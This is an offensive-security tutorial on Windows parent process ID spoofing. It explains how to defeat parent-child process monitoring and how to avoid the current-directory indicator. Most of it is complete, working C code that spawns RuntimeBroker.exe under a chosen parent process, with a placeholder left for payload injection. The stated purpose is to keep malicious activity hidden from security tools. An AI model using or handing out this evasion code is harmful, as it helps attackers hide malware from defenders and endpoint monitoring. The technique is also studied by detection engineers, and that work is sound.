PPID Spoofing

Parent Process ID (PPID) Spoofing is a technique to change the PPID of a process, masking the connection between a child process and its actual parent. This makes it seem like the child process came from a different legit Windows process instead of its real parent.

Security systems keep an eye out for unusual parent-child relationships. For example, if Microsoft Word suddenly starts up cmd.exe, it could mean someone's running malicious macros. By changing cmd.exe's PPID, the real parent process gets hidden, making it look like it came from somewhere else.

An attributes list is like a cheat sheet storing details about a process or thread, like its priority or memory info. It helps keep track of and modify these details as needed.

To fake a PPID, you need to create a process using a flag called EXTENDED_STARTUPINFO_PRESENT. This flag lets you tweak details like the PPID. You also need a data structure called STARTUPINFOEXA for this.

Before playing with attributes, you've got to set up the attributes list using the InitializeProcThreadAttributeList function. You'll need to call it twice: first to figure out the list's size and then to actually set it up.

Once the attribute list is ready, you use UpdateProcThreadAttribute to tweak it. You specify what you want to change (like the PPID) and the value you want to change it to.

To summarize the process:

  • Call CreateProcessA with the flag EXTENDED_STARTUPINFO_PRESENT.

  • Set up the STARTUPINFOEXA structure with the attributes list.

  • Initialize the attributes list using InitializeProcThreadAttributeList.

  • Use UpdateProcThreadAttribute to change attributes, setting PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to fake the PPID.

Aditionally, the current directory can be an IoC. To fix this, simply set the lpCurrentDirectory parameter in CreateProcess WinAPI to a less suspicious directory, such as "C:\Windows\System32".

The following CreatePPidSpoofedProcess is a handy function for this task. It takes in details like the parent process, the name of the new process, and returns the new process's ID and handles:

#include <Windows.h>
#include <stdio.h>

// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)

#define TARGET_PROCESS		"RuntimeBroker.exe -Embedding"

/*
Parameters:

	- hParentProcess; handle to the process you want to be the parent of the created process
	- lpProcessName; a process name under '\System32\' to create
	- dwProcessId; outputted process id (of the newly created process)
	- hProcess; outputted process handle (of the newly created process)
	- hThread; outputted main thread handle (of the newly created process)

Creates a new process `lpProcessName`, forcing `hParentProcess` to look like its parent

*/

BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR					lpPath		[MAX_PATH * 2];
	CHAR					CurrentDir	[MAX_PATH];
	CHAR					WnDr		[MAX_PATH];

	SIZE_T							sThreadAttList	= NULL;
	PPROC_THREAD_ATTRIBUTE_LIST		pThreadAttList	= NULL;

	STARTUPINFOEXA			SiEx	= { 0 };
	PROCESS_INFORMATION		Pi		= { 0 };

	// cleaning the structs (setting elements values to 0)
	RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// setting the size of the structure
	SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	// getting the %windir% system variable path (this is 'C:\Windows')
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// making the target process path
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);

	// making the `lpCurrentDirectory` parameter in CreateProcessA
	sprintf(CurrentDir, "%s\\System32\\", WnDr);


//-------------------------------------------------------------------------------

	// this will fail with ERROR_INSUFFICIENT_BUFFER / 122
	InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);

	// allocating enough memory
	pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
	if (pThreadAttList == NULL){
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// calling InitializeProcThreadAttributeList again passing the right parameters
	if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
		printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
		printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// setting the `LPPROC_THREAD_ATTRIBUTE_LIST` element in `SiEx` to be equal to what was
	// created using `UpdateProcThreadAttribute` - that is the parent process
	SiEx.lpAttributeList = pThreadAttList;

//-------------------------------------------------------------------------------

	printf("[i] Running : \"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,
		lpPath,
		NULL,
		NULL,
		FALSE,
		EXTENDED_STARTUPINFO_PRESENT,
		NULL,
		CurrentDir,
		&SiEx.StartupInfo,
		&Pi)) {
		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE \n");


	// filling up the OUTPUT parameter with 'CreateProcessA's output'
	*dwProcessId	= Pi.dwProcessId;
	*hProcess		= Pi.hProcess;
	*hThread		= Pi.hThread;


	// cleaning up
	DeleteProcThreadAttributeList(pThreadAttList);
	CloseHandle(hParentProcess);

	// doing a small check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;
}

int main(int argc, char* argv[]) {

	if (argc < 2) {
		printf("[!] Missing \"Parent Process Id\" Argument \n");
		return -1;
	}
	DWORD		dwPPid			= atoi(argv[1]),
				dwProcessId		= NULL;

	HANDLE		hPProcess		= NULL,
				hProcess		= NULL,
				hThread			= NULL;

	// openning a handle to the parent process
	if ((hPProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPPid)) == NULL) {
		printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
		return -1;
	}


	printf("[i] Spawning Target Process \"%s\" With Parent : %d \n", TARGET_PROCESS, dwPPid);
	if (!CreatePPidSpoofedProcess(hPProcess, TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
		return -1;
	}
	printf("[i] Target Process Created With Pid : %d \n", dwProcessId);

	/*
	
		Here goes the payload injection code
	
	*/

	printf("[#] Press <Enter> To Quit ... ");
	getchar();
	CloseHandle(hProcess);
	CloseHandle(hThread);
	
	return 0;
}

Last updated